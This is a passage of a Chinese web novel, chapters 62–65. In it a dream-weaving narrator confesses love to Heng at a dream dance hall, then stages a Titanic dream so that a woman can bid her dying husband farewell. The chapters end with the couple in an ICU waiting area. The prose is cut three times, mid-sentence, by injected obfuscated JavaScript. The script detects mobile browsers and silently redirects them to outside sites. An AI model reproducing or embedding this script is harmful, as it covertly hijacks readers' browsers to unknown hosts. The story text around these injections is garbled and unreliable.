舞厅。那都是多少年前的东西了。反正我是没见过这样子的舞厅,它门口挂着霓虹灯的招牌,像港片里会有□□火拼的场所。但在场的人里面,只有我和珩两个人对这种场所不能产生什么回忆。我们跟在其他人后面进去,有种刚成年被带到赌场去的感觉,又兴奋又紧张。但里面其实没有什么特别,和现在的酒吧差不多,灯光昏暗,人不少,头顶一个巨大的迪斯科球灯,一块块光在室内随机乱飞。 62. 我喜欢你 见我一脸茫然,司徒阿姨在旁边给我解释:“这是二十多年前了吧,就在我们家附近开了个很大的舞厅。晚上来的人可多了,那时候我女儿上大学,我和阿六时不时就去。”我对舞厅的定义停留在好久之前跨年去酒吧倒数,我的感官比普通人要灵敏一些,那天酒吧里音乐的声浪几乎震得我要呕吐。我很难想象司徒阿姨和六叔会喜欢这种吵闹的场所——我于是好奇地往前看。前面是一大片舞池,人们却在里面跳交谊舞,音乐虽然轻快,但并不算很吵。 张阿姨和她的牙医老公一看就是常客,他们非常迅速地就钻到了舞池那边去。我不会跳舞,坐在一旁看。嗯……珩的NPC们跳得很差劲。没有对比就没有伤害,张阿姨两夫妻没过去之前,我觉得他们还跳得像个人样,他俩一上场,珩的NPC看起来就像一群机器人,群魔乱舞,一看就是珩基于水厂街社区活动中心打太极的阿伯阿婆们建的模。其他人也跟着过去,钟灵阿姨漂亮得很突出,她的形象本来是在场众人里年纪最大的一个,但她是舞蹈演员出身,体态优雅,身姿挺拔,虽然多年不上台,四十岁的她已经有点发胖,但她看着依然气质出众,是个非常惹眼的美丽女士。其他几个人各自跟舞伴跳舞去了,剩下她的女儿和司徒阿姨家的女教授,一脸崇拜地跟着她学舞步。 我就不去了,我虽然身手敏捷,但完全不会跳舞,带学生做广播体操都有点磕磕巴巴。我坐在角落围观,这地方灯光很暗,只有舞池那边是亮的,忽然有人过来,她把那边的光都挡住了,我抬头看人。珩站在我面前,光线太暗,她只剩了一个纤细的剪影,立在那里,居高临下地看我。 “跳舞吗?”她问我。 “我吗?”我指了指自己,有点尴尬地回答,“但我不会哎。” “不会就不会,”她说,“我教你。快。” 说着,她仿佛电影里的绅士,朝我伸出了手。 我把手放到她的手上,她牵着我就往舞池里面走。舞池比我刚刚坐的地方要亮得多,暴露在光下使我有点紧张,倒不是因为我不会跳,只是……我牵着她。我的意思是我不坦荡,我喜欢她,这样牵着她走到光下,好像我的私心也随着我一起被照亮。我紧张地看了看周围,幸好几个阿姨都沉浸在她们和舞伴的小世界里,谁也没在看我们。我僵硬地在她面前站定,不知道手往哪里摆。 我很僵硬,她倒是很有教学的兴致,自顾自地就抓起我的机器人手,摆布起来。“你左手就这样托着我的手,然后右手放我腰上——喂,你别驼背啊。” 她的体型比我小太多,我总是不自觉地想压低身高迁就她,被她一说,我挺直了背。这一下矫正动作有点夸张,惹得她笑起来:“你站军姿吗?也不用站那么直吧。”我彻底不知道要怎么给我的肌肉们发指令了,我干脆把这个身体全权交给珩托管:“你摆吧。”她仿佛做雕像,伸手开始摆我。我没动脑,她怎么摆,我就怎么站。我多余的注意力在观察她,在贪婪地观察她的每一个表情和动作,她专注的时候特别可爱,攻击性会短暂地收起,像个顺毛的小猫。她终于摆完,一只手放在我的手心,另一只手搭在我的肩上,之后仰头看我。 我还在傻乎乎地盯着她看,那一刻所有贪恋的眼光都被撞见,躲也躲不了。没必要躲,没必要躲,有一把声音在我心里说,她很聪明,她其实都知道。她确实都知道,她也看我,眼睛轻轻地一眨,狡猾的小型肉食动物,从来不急于出击。她的目光在我脸上停留一瞬,又转开。她示意我把手放到她腰上,又训我:“你很不专心啊。” 她不知什么时候换了一条银色的裙子,裙子上缀满亮片,使她看起来像传说中的人鱼,身上布满闪闪发光的鳞片。我听着她的指令,机械地挪动脚步。我们两个完全跟不上节拍,像两只在舞池里乱走的螃蟹。这姿势实在有些亲密,她仿佛被我抱在怀里,我在音乐声里,听见她的声音—— “江夷你好僵硬啊,你属螃蟹吗?还是属龙虾?” 大家彼此彼此。她的水平也不高,看她那些跳起舞来像机器人的NPC就知道她的水平到哪里了,我要是龙虾,她就是皮皮虾,除了比我小只一点,彼此没有区别。但我是个绅士,我不拆穿她,我承受一点不该承受的诋毁,给她留几分脸面。 不过……虽然她的动作很僵硬,但她的身体很软。我放在她腰上的手不敢用力,但因为我们两个的动作实在太不协调,我们不能保持重心均一地移动,随着舞步动作,她的身体会时不时压在我的手上。她很瘦,但也许……这就是女孩子的手感?我以为像她这么瘦的人,抱起来会硌手。我有种手上再用力一些,就会陷入她身体里的错觉,这陌生的触觉有点新奇,又有点禁忌,我其实没做什么,但又好像在做什么。我不禁在想,此时此刻的她,到底在想什么呢? 我们两个螃蟹在舞池里胡乱地走了一圈,她忽而抬眼看我。我虽然不会跳舞,今晚也没学会,但我好像能读懂她的意思。我顺势把手抬高,之后便看见她满意地眯眯眼笑,缓缓地转过一圈。她转起来的时候,银色的裙摆展开成一片璀璨的星云,我望见她深绿色的头发,还有白色的珍珠发箍,珍珠在旋转的光线下闪动着彩虹色的光芒,而她的头发像涌动的海浪,灵动又深邃。我总是看她看得入迷,她转过一圈,在靠近我的时候,她抬眼看我。那一刻我撞进她巡游的眼波,像遇上危险的离岸流,我被她的目光卷走,失去理智,跟着她往海的深处去。我又听见了脑海里的声音——我不知道那是我压抑的潜意识,还是我大脑里那个两百万岁的原始人,那一刻我想,我该说点什么了。 我该坦白了。 我必须要坦白了。 我有种古怪的,要袒露自己的冲动,我想撕开我的衣服,撕开我的皮肉,将我的胸骨一分为二,之后像拉开长者饭堂吱呀怪叫的铁闸门一样,拉开我的肋骨,毫无掩饰地将我跳动的心脏摆在她的面前。 这些荒唐的混乱的念头化成一个郑重的凝视,我凝视着她的眼睛,我说:“珩,我……” 她举起她的手,用动作打断我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16509340|177656||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的话。 这家伙让我也转一个圈。 她期待地看着我,我看一眼她的小短手……唉这叫哪门子转圈,这叫钻洞。好幼稚一女的,真是受不了。我在她期待的目光下转了个圈,因为她的手没比我高多少,为了能流畅地转圈,我只能低着头。这个姿势让我很晕,我转过三百六十度,眼前的景象在晃。她忽然踮起脚,双手揽过我的后颈,就这般看着我。她的眼睛在灯光下显得很亮,使她看起来不似平时那样冷淡,对一切都漠不关心。她问我:“你刚刚想说什么?” 我的心跳很快,几乎要扑出胸腔,我吸了一口气,把震耳欲聋的心跳声压住,我看着她的眼睛,非常认真地说:“我想说,我喜欢你。”这四个字说出口的瞬间,好像有什么压抑已久的东西从我的喉咙里吐了出来,我感到前所未有的轻松。见她还没松手,我又补充了一句:“我还想说,我想做你的男朋友——如果你愿意的话。” 她的脚跟缓缓地落下去,我不得不稍稍倾身,来把脖颈留在她手臂环成的圈里。我的勇气来得很快,走得也很快,几乎在话说完的一瞬间,那些顽固的恐惧和自卑就来攻击我。其实我没有想象过和她表白之后她的反应,我不敢想。但我很害怕。不是害怕被拒绝,是害怕她逃跑。 我慌忙又补充:“你可以拒绝的。你知道我不是那种会勉强别人的人……我的意思是,如果你不愿意,你直接说就好了。反正我们在做梦,醒来我就不提这事。你——你千万不要躲开我。如果你不愿意,我还是希望可以做你的好朋友,就维持现在这样,我……” 我开始语无伦次,她就像每次看我用匮乏的词汇去描述我的离奇梦境时那样,很安静很耐心地看着我,等我终于发觉她在看我,我停下了我的话。她的手往上移,我配合她的动作,把头和肩膀压得更低。她的双手捧着我的脸,她喊我的名字:“江夷。” “诶。” “在我面前,你不用那么小心。”她的眼神分外温柔,她的食指轻轻移到我的嘴角,移到我的嘴唇。她不让我说话,我看着她,周遭音乐还在响,但我们之间好安静,在我和她之间这个狭窄的隔离的空间里,她的声音清脆地落下。“因为我没打算拒绝你,”她说,“因为我也喜欢你。因为我愿意。” 她看着我,目光灼灼。 我在谈恋爱这个领域的经验很浅,说经验很浅有点过于保守,是没有经验。我想她好像是在等待我回应她一番什么浪漫的话,但我可能要让她失望了。因为我的语言系统没经历过这样的事情,它们在发疯。如果她钻进我的大脑,她就会看到我管语言的神经元们,有一半在尖叫(特别吵,它们叫得不太统一,一部分是土拨鼠式,一部分是狼嚎式,剩下的招式不明,发声随机,难以总结),另一半在打滚。我要是听它们任何一个的,我就会在这里乱叫,或者在地上滚来滚去,或者两件事都做。我只好把它们都关起来冷静冷静,终于有一个神经元冷静了下来,我说出了第一句话。 “我可以抱你吗?”我说。 63. 泰坦尼克号 “我可以抱你吗?”我说。 我看起来肯定很蠢,谁的大脑关了一块,看起来都不会太聪明。她被我逗笑了,她说:“可以。” 我张开双臂将她抱住,这一次的拥抱不再像上次,我名正言顺,我堂堂正正,我具有合理的把她埋进怀里的身份。她好软,梦里的她,头发和现实中是一样的香味,我在她的脑袋上蹭了蹭,真好,软软的,毛茸茸的,可爱得让人难以自控,可爱得让我想咬她一口。她的体温很低,但神奇的是,当我抱着她时,我的热量好像顺着温度差,流到了她的身上。我的心在狂跳,我在燃烧,能量传到我的皮肤,钻到她的身上,恍惚间我似乎觉得她变得温暖了起来,和我分享同一个体温。 我忍不住了,我又问她:“我可以亲你吗?” 她对我额外的耐性很快就用完,她就像平时我刨根问底地追问她今晚吃什么的时候那样,颇有些不耐烦地回答:“可以,可以,别问了。” 我捧着她的脸,不知道要在哪里下嘴,想了一下,我轻轻地亲了亲她的额头。这短暂的触碰,已经让我的心脏跳得几乎要爆炸。她伸手推我,我以为她不乐意了,赶紧松手。我还没来得及道歉,又看见这家伙在笑。 她在嘲笑我,是的,那是嘲笑。 “你就这么亲我吗?”她问,“现在你是我男朋友?” “对不起,”我道歉,“我可能……比较保守。” 她双手又揽过我的后颈,将我拉到面前。 她说:“我不太保守。” 我非常明智地在她亲上来之前的瞬间闭上了眼。眼睛是不能睁开的,因为她亲人的动静像吃人,音乐还在放,但舞厅里没有脚步声。所有人都在看我们,我不睁开眼都知道。甚至连平时最喜欢看热闹起哄的张阿姨都沉默,当然了她当然沉默,她之前起哄是因为我们没什么,现在我们有什么,她就没有了起哄的立场。珩这一个热烈的吻结束,我的手不听使唤地摸了摸自己的脸。 她问我:“你怎么了?” 我回答:“你把原始人被老虎吃的原型亲出来了,我在检查我的肉还齐不齐。” 她“哧”地一声笑起来,之后忽然觉得我好可爱,下一秒又准备把我当小动物吸。我赶紧闭眼——我实在无法面对那么多人好奇的目光,我是社恐。但很突然地,地面摇了摇。 梦境在动。 珩的理智瞬间归位,她问我:“怎么了?” 我头有点疼,其中一块脑区好像在被拖拽着下沉。 “好像是六叔。”我说,“六叔要走了。” 本来六叔和其他人是不能落在同一个空间里的,但因为有我,我的人健康地活在现实世界中,与此同时我有过濒死的观测,所以我成了一座桥梁,连通了六叔所在的深昏迷域和其他人所在的现实世界。但六叔现在是在下沉状态中,当他和现实中的人距离足够远,他就会不可挽回地掉出梦境,永远地和现实失去联系。这是他将要掉出梦境的信号,也是梦境马上要结束的信号。 我向珩伸出手:“抓住我。” 我来不及向她解释,梦境已经破裂。严格来说,这种破裂仅限于我和她,还有六叔夫妻两人。 昨天晚上,司徒阿姨离开我的梦境之前,特意走到阳台。当时珩带着她女儿出去了,司徒阿姨问我:“阿六最后会怎样?” □□的死亡和意识的死亡之间,其实有一个很短的时间窗。当□□的疾病发展到不能再支撑意识运作的时候,意识就会沉入很深处,最后消散。一旦发展到这时候,六叔就会像童话里化成泡沫的小美人鱼,我怎么都不再可能把他从深渊里拉回到司徒阿姨能到达的深度。理论上来说,从这一刻开始,他就已经永远地离开了这个世界。肉身会继续生存一小段时间,之后再彻底走向生物上的消亡。 我尽量把这个过程描述得温和一些:“他会下沉。刚刚我们其实在一个湖里,他会一直下沉,沉到你看不到的地方。” 司徒阿姨沉默,她这一刻变得很冷静,预见到最后的结果,她不再有不切实际的奢望。她提出了她最后的请求:“等到那时候,我可以亲自跟他告别吗?” 我同意了。 我测试了一下她所能承受的最深梦境。现在我们所有人都在第二层梦境里,每个人从梦里醒来,都会因为比平时醒着还要大得多的大脑耗能,而觉得很饿,甚至犯起低血糖。再往深处去,普通人很难忍受超额用脑带来的副反应——剧烈的头痛,还有时间错乱感。她是个没受过训练的普通人,我试着把她往下再推了两层,过度的疼痛很快就触发了她身体的自我保护机制,把她唤醒。 但她很坚持,她很坚持要和她的爱人再相伴一些时间,相伴尽可能长的时间。 我拗不过她,但出于安全的考虑,我只能把这个时间划得很短,以减轻它对身体的损害。 “可以,”我说,“但只有最后一分钟。” 我按照六叔下落的模式,计算了一下他最后这一分钟里下落的距离,我把警戒线设在了梦境的深处,当六叔下落到跌出去之前一分钟的深度时,我就会收到通知。我拉着珩,和他们两个人一同跳入两层之下的梦境中。事情来得仓促,我没来得及跟珩说太多,但幸好她信任我,她也没问,就把手放到了我的掌心。 一阵冰凉的海风吹来。 我们落在一艘巨型游轮的甲板上。司徒阿姨和六叔不在我们身边,船上有些NPC在按照设定活动。夜晚很黑,海上没有灯塔,只有游轮周围一小圈海面是亮的。 珩看着这场面熟悉,但又想不起来。她问我:“这是哪里?” “大西洋,”我回答,“1912年的大西洋。” “什么?”她很疑惑,又问,“司徒阿姨他们呢?” 我估算一下时间,指了指甲板下方:“三等舱里,应该……在跳舞吧?” 她终于反应过来这不是个现实里的地方:“所以这里是——?” “泰坦尼克号,”我回答,“距离沉船还有八十一分钟。” 场景来自电影,八十一分钟是电影的八十一分钟,电影里的时间 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16541389|177656||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是不连续的,船上的时间也是不连续的。我和她站在甲板上,大海一片漆黑,什么也看不见。转眼之间,天忽然亮了,时间跳跃到第二天的早晨。阳光照亮海面,深蓝色的大西洋,阳光在涌动的浪头间跳跃。 司徒阿姨和六叔在他们最喜欢的电影里度过分别前的最后一分钟,而我和珩就站在船头等待。海风吹起她的绿色头发,她凝望着眼前的大西洋,整个人空前地平静。她没骗我,她的家肯定也在海边,在海边住了好多年的人,面对大海时才会有这样眼神。没有边际,充满未知的大海,象征着无限的可能性。我走到船头的栏杆边上,也靠在上面。那一刻我觉得我和她很接近,确实很接近,至少我和她的记忆里有同样一片海——只不过我们的海,是更浩瀚更广阔的太平洋。 时间随着电影的进展,跳跃着前进,金色的朝阳,转瞬就落下,海面又从蓝色沉入黑色,夕阳将海面上的天空染成紫红色。我们在靠近冰山,海风渐渐变得冰凉,刺得人的思绪分外的清明,意识从复杂的感觉里抽身,人好像也变得轻盈。珩看向被船头割开的海,忽然问我:“我能跳下去吗?” 我靠在栏杆上,饶有趣味地看她:“你该不会是看见海,就想念你家的蟹堡王餐厅了吧?” 她笑起来,目光又投向远处。她大概是在想念她的姐姐,蟹堡王二小姐想起大小姐的时候,目光总变得很温柔。她看向我,眼神分外的柔软,这时候我和她很亲近,这不是拥抱或者亲吻,是一种灵魂上的亲近。她灵魂里脆弱的那一小部分,好像正倚在我的肩上。她说:“是有点想,好久没回去了。” “那找个时间,回去一趟吧。”我和她一样看向大海,“这里你不能跳,跳下去你会被弹起来。” “什么意思?” 没等我回答,她已经反应过来了:“这里……是梦和昏迷的交界?” “对。” 天忽然黑了。电影里的时间进展到夜晚,甲板上的海风冰冷刺骨,好像前面是个打开的冰箱。视线里冒出一座冰山,之后船头擦着冰山过去,冰山撞上右边的船舷,我和珩随着船身猛然一震,险些没站住脚。 我制造NPC的能力还没有觉醒,我只好把童年记忆里学校的NPC换上外国人的面孔,放到大船上。他们开始慌乱地逃跑。就像电影里那样,人们奔逃,尖叫,乐队在甲板上演奏和缓的乐曲,以缓解大家的恐慌。我和珩朝着船尾跑,珩还问我:“船会沉?” “哎,珩,你问我这个?”我几乎要笑,我印象中全知全能的珩,居然问我这个,“你没看过《泰坦尼克号》吗?” 她跟着我在倾斜的甲板上跑,这甲板像个噩梦,越跑越倾斜,怎么都不到头。她的声音在混乱的尖叫声中传来:“看过……没看完。” “啊?” 为什么? 之后我想起电影的结局。Jack在冰冷的海水里下沉,最终消失在视线之中。这和人从现实陷入不可逆转的昏迷是一样的画面——她会想起她姐姐。 我不由自主地攥紧了她的手。 64. 告别 我不由自主地攥紧了她的手。 她不喜欢别人亲近她,这个动作让她不自觉地扭头看我。但她好像忽然就意识到我已经是她的恋人了,她没甩开我,只是仰头看我。她的眼里似乎有些水光,她几乎是在凝视我的侧脸,要不是船马上要沉了,我们必须一直奔跑,我想我会忍不住马上抱住她。 我们一路跑到船尾,此时船头已经沉没,船身翘起,司徒阿姨和六叔已经到了我们身旁,我们四个人抓着栏杆,随着船尾越升越高。 司徒阿姨和六叔早知道会有这样的情节,因为船上的并不是真人,他们不像在灾难悲剧里,而像在冒险观光,两个人看起来还挺兴奋。而我旁边的珩看一眼脚下几乎要竖起来的甲板,一脸要死了的样子,闭上了眼睛。 “然后呢,然后怎样?”她问我,“我怎么感觉我在上升啊?” “对啊,船头沉下去,船像个跷跷板那样,船尾升起来——” “然后再掉下去?” “对,严格来说,是先拍到水面上,然后再竖直往下沉。” “我会有感觉吗?” “呃……会的。”船尾已经升到最高点,船的那头传来龙骨断裂的声音,十秒之内,我们就会随着船的后半截,重重地拍打在海面上。为了加强体验感,我把我到游乐园玩机动游戏的体感嵌到了梦里,隔壁六叔和司徒阿姨仿佛回到了他们年轻时去游乐园玩的时候,兴奋得下一秒就准备要迎着风尖叫。而珩紧闭双眼,两只手抱紧栏杆,一声不吭。 糟了。忘记她恐高了。 “这里有多高?”她的话从紧闭的牙关里钻出来。 “半条船……嗯,一百三十多米吧。”我说,“不过失重感是我去游乐场的记忆,前半截是大摆锤,后半截是跳楼机,体感没那么高,也就四五十米吧。” 她好像要发什么狠话,但她紧咬牙关,到底没说。 诡计多端的小江决定先发制人:“虽然我让你坐大摆锤坐跳楼机了,但你大人有大量,你君子一言驷马难追,你答应了要和我在一起的,你不会因为这个就反悔吧?” 我臭不要脸的道德绑架被风声和隔壁司徒阿姨他们的尖叫盖住,船尾开始往后倾倒,珩像个考拉一样抱着栏杆,我在旁边非常徒劳地道歉:“对不起对不起,没跟你说清楚!”然后开始无效安慰:“你就当去了趟游乐园,毕竟你平时也不敢去——”一直闭着眼睛的她睁开眼看我,眼神犹如曹操盒里关羽的人头。我被她瞪得不敢说话,空气里只剩了隔壁司徒阿姨和六叔肆意的大喊大叫。 她瞪我还是瞪早了,船刚落在水面上,下一秒又开始爬升。看了无数遍电影的司徒阿姨和六叔已经熟练地翻到栏杆的那边,珩还抱着栏杆不敢撒手。我真怕她掉下去,虽然她不会掉到水里,但从一百三十米的高空摔下去,我怕她醒来就反悔当我女朋友,顺带把我微信拉黑。我只好掰她的手指,一边掰一边说:“你要爬过来,翻到这边来——”她不敢睁眼,只好听我这个梦境设计者的安排,她难得如此安静,如此柔弱,如此没有攻击性。虽然不太道德,但……她这个样子有点可爱。 我怀疑她会读心术,她在我觉得她可爱一秒钟之后,又猛地睁开眼。我说她没有攻击性,说得有点太早,她两只手都抓紧栏杆,无暇攻击我,但她的脸就在我的肩膀旁边,她忽然扭头过来,咬了我一口。她的虎牙好尖,可恶的小型凶猛猫科动物,我疼得没忍住大叫一声,把痛苦转移到我的身上,她终于解气了,她又闭上眼,在四五十米的跳楼机带来的失重感下,绷着一张脸,虽然害怕得要命,但还是摆出一副非常严肃的表情。 我以德报怨,好心提醒:“你要不喊出来,喊出来不害怕。” 她以怨报德,又扭头过来要咬我。 我在躲避猫科动物的攻击上拥有丰富的实战经验,本人曾多次躲过路迢家暴躁小猫的爪子。但……虽然不太道德,但她气急败坏要咬人的样子,也有点可爱。反正是在梦里,被她咬一口,也就疼一下,醒过来之后我身上又不会少块肉。行,咬吧。 她没想到我不躲,虚张声势的一嘴还真咬在我肩膀上,她没用力,我穿着西装外套,只感觉到她两个尖尖的虎牙在我的手臂上扎了一下。可我真的弄不明白她在想什么,这女人的思维方式和我之间有壁,我不躲开,由着她咬,她反而急了。她愣了一下,之后发狠似的踹了我一脚。我没预料到她还有后手,疼得又叫一声。她气消了,很好,我说得没错,喊出来就不害怕了,我喊出来她就不害怕了。 船最终彻底沉入大海之中,巨大的船体沉没,在黑夜的大西洋里激起一片浪花,之后一切又重新归于寂静。海水自然是不冷的,珩趴在梦和昏迷之间的玻璃地板上,而我在海水里,慢悠悠地踩水。 司徒阿姨和六叔在离我们不远的地方,我故意把环境亮度调得很低,他们除了彼此,看不见别人。 在梦中办过婚礼,又在延长的时间里走进过去几十年里看过好多次的电影,司徒阿姨和六叔两个人接受了最后的分离,司徒阿姨伏在被我做成门板样子的分界上,而六叔泡在水里,他们现在就像电影里的Rose和Jack一样,在黑夜的海上,紧紧地贴近彼此。 梦境到了尽头,六叔不得不松开了抓着司徒阿姨的手。和电影里不一样,至少他是清醒着往下沉的。他和司徒阿姨越离越远,他在海里向她挥手道别:“你快回去吧。” 司徒阿姨也向他挥手,好像这不是一次永远的告别,而是早上出门上班,和对方说拜拜,等到晚上,就会回家一起吃饭。 “你别害怕,”司徒阿姨对下方幽深的海域说,“我们会再见的!” 六叔的声音越来越远,说一句话的时间里,他的声音已经变得很渺茫。 “知道了,”他说,又忍不住嘱咐,“你晚点再来! ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16544937|177656||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” …… 我睁开眼,在梦里的时间太久,ICU家属等候区的环境变得好陌生。我动不了,我果然一点也动不了,完全过载的大脑,现在正处于强制休眠状态。我全身上下,就剩了两个眼球能动,我看一眼ICU门口的电子显示屏,六点十五分。我有点头晕,眩晕感在膨胀,大脑在推挤头骨,耳朵里回响着嗡嗡的声音。我很饿,但有点想吐——这是低血糖的前兆。 我试着挪一下,我的小甜水就在我旁边的椅子上,连吸管我都插好了,我甚至不用动手,我只需要稍微低下头,降低重心,把嘴凑到吸管上,我就能快速补充糖分。好,第一个步骤是沿着椅背滑下去,滑……没有一个指令能到达我的运动神经元,没有一块肌肉听我命令,我除了一直盯着吸管看,什么都做不了。血糖还在掉,我的细胞好像没能适应现实中的时间,它好像还在按梦里的时间跑着,快速地消耗着能量。我的视野很快模糊成一片蓝的白的光影,我像坐在暴雨天的车里,透过满是雨水的挡风玻璃看夜幕中的城市——好亮,什么都看不清了。 我想我该启动备用方案了。我看着眼前模糊成一片灰色的ICU大门。我应该直接从这里倒下去,监控拍到我晕倒,中控室会通知ICU,里面的医生在三分钟内就能出来。三分钟……我应该能撑到他们开门。虽然我很不喜欢麻烦别人,但是……别思考了别思考了,没电了没电了。我的眼皮忽然变得很沉重,我的眼睛只剩了两条缝,光影在狭窄的视野里晃动,晃动……有人来了。 我已经看不清人了,只听得到对方的动作。 那人非常迅速地拿起我放在旁边的饮料,之后就把吸管塞到了我嘴里。虽然我的意识准备关机,但自主神经醒着,那群平时就不听我指令的平滑肌,一碰到甜水,自动开始摄食,我太晕了,几乎能感觉到血糖上升时能量的流动。很突然地我的眼皮能动了,我睁开眼,珩站在我的面前。她居然真买了一条银色的长裙,头上也戴着和梦里一样的珍珠发箍。那一瞬间我差点以为我饿晕了,而现在是在做梦。 见我像个傻子一样,呆愣在原地,用活动受限的眼球定定地看她,她的细眉毛一蹙,她用另外一只手按着我的脑袋,之后靠近我。她好大声喊我:“喂!江夷!”我想回应,但声带比脑子慢一节,话到了喉咙,信号梗在里面,怎么都发不出来。 “你还好吗?”她靠得更近,真有点担心,“给你叫医生?” 她靠得太近了,好多话从我的大脑往外跳,它们现在全堵在喉咙里,等待声带漫长的重启。见我不回答,只用呆滞的目光看她,她紧张地回头看,而后又看我,她好像终于做下一个艰难的决定,冒着机密被拆穿的风险,她还是要去给我找医生。幸好我的声带在她转身的那一刻终于成功重启,微弱的声音从我的喉咙里滚出:“我还好……” 她焦急的脚步顿住,之后回过身来看我。 65. 心脏地震 她焦急的脚步顿住,之后回过身来看我。 我声音很小,为了听清我说话,她几乎要把耳朵贴在我嘴边。堆积在喉咙的信号按顺序一个个发出,她在担心我的安危,而我停在晕过去之前的时间,还在问一些无关紧要的问题:“你吃饭了吗?” 她皱着眉头听的,抓到我这五个字,她脸上紧绷的神情舒展开,我看到她的睫毛轻轻一颤,之后她看向我。真是难得啊她没回我一句“就知道吃”,她回答了我的问题。“没呢。”她说。 我发送一句“怎么还没吃”,它继续卡在我的喉咙里。我牛头不对马嘴地输出刚刚没能成功发送的信息:“点了什么菜?” 她的眼神有点疑惑,但我还在继续不受控地输出—— “好吃吗?” “其他人回去了?” “给我打包了吗?” “我想喝冰可乐。” “头好晕。” “救命……” “要不按铃叫医生吧。” “我不会死掉吧?” 我的血糖已经恢复,听着我这张蠢嘴开始延迟输出刚才的信息,我的脸尴尬得要烧起来。而我面前的珩,从担心到不明所以,到情不自禁笑出声,她把我放在旁边的食物饮料拎起来,自己在椅子上坐下。她一直听着我输出完所有过期的信息,之后给我来一句:“老爷机子,你终于卡完了?” 谢谢红牛,我用我重新灵活的眼睛横了她一眼。 “看来是醒了,那我回答你的第一个问题。”她举起手里的塑料袋,里面是两个饭盒,“我答应过你一醒来就来找你,我来和你一起吃。其他人还在饭店里吃饭呢,你吃你的,不用操心别人。” 我的身体依然不能动,但感官恢复了一部分,我看着她解开塑料袋,打开饭盒。饭菜是新鲜装的,热腾腾的还冒着蒸汽,我饿得很,顾不上任何人类的礼仪,目光直追着她的饭菜跑。她撕开一双一次性筷子的包装,我小声提醒:“我的手还动不了。” “我知道啊,”她回答,之后竟夹起一块元贝,递到我嘴边,“我喂你。” ……吃饭的过程中我多希望我赶紧能动。我不是不喜欢她喂我,我喜欢,我超喜欢,但是那最好是发生在我四肢能动的情况下。现在我这样一动不动地呆坐在原地,机械地张嘴闭嘴咀嚼吞咽,谁要给我们拍张照,马上就能配上文字“暖心!热心少女投喂失能老人”,然后放到水厂街社区活动中心的公众号上去。我吃了几口饭菜,总算是恢复了点体力,在我生命的危机解除过后,我马上要解决头等重要的一件事。 “珩啊。”我叫她。 她夹着一块肉,正要往我半张的嘴里喂。我把嘴合上,拒绝她的食物。她把肉放回饭盒里:“怎么了?” “在梦里说的话你还记得吗?”我问。 她一副“我以为你要说什么呢”的表情,鼻子里呼出一口气,无语地弯弯唇,之后不回答,低头又夹那块肉。 她把肉夹到我嘴边,我又拒绝,不依不挠地还问:“我说我喜欢你,你说你也喜欢我,你还记得吗?” “不记得。” 她故意的,她在偷笑,她的嘴角马上就要压不住了。 “喂,不能不记得的,装不记得也不行,”我说,“你一定要记得,你说你记得。” 她故意要跟我作对:“我就说不记得,你能怎样?” “我抗议。”我瞄一眼她手里的饭,“我绝食。” 她装不下去了,捧着饭盒大笑起来。之后她忽然暴起,一手拿筷子夹肉,一手来掰我的嘴:“不让你绝食,你给我吃!” 我非常努力地不张开嘴,但我刚恢复了点体能,现在的我非常柔弱,她硬要掰我的嘴,我抵抗不了,在肉马上要被塞进我嘴里的那一刻,她又松了手。我的牙关哐的一声合上,疼得我眉头紧皱,眼泪都要冒出来。我的视野被少许眼泪模糊掉,雾蒙蒙的环境里,我看见珩夹了个什么东西,又要来掰我的嘴。 有了刚刚的经验,她知道怎样能轻松把我的嘴掰开,我的肌肉力量接近于零,几乎无法抵抗,甚至看不清她塞了什么——辣椒!黑心少女谋害失能老人!她松手的时候,我还在努力跟她对抗的牙关刹不住车,于是狠狠地把辣椒咬成了两半。辛辣的味道顿时充满我整个口腔,并且向上冲鼻腔向下冲咽喉,我被熏得眼泪汪汪,张嘴要吐,臭珩这才给我递了个塑料袋,让我把辣椒吐掉。 “我要喝水。”我说。 “不给。” “我大喊,我说你虐待我。” 真是毫无震慑力的威胁,她笑得好开心,拧开一瓶矿泉水,递到我嘴边。 我像条搁浅的鱼,大口吞入紧缺的氧气和水。瓶子里的水像海浪一样往我脸上扑,又荡远去,她的轮廓在浪和浪之间,被塑料瓶子上的花纹扭曲成一片模糊的光影。她在看我,目光要钻透这矿泉水瓶,要钻透我。 她记得。她记得。那一刻我很确信,她记得。她的眼神和梦里一样绵密又温柔,梦境延伸,延伸,和现实铆合,融为一体。我觉得好幸福,一时不知道自己是在现实里,还是在梦中。 但我还要问。是这样的,恋爱中的人是很无聊的。没话找话,没事找事,没事找抽。 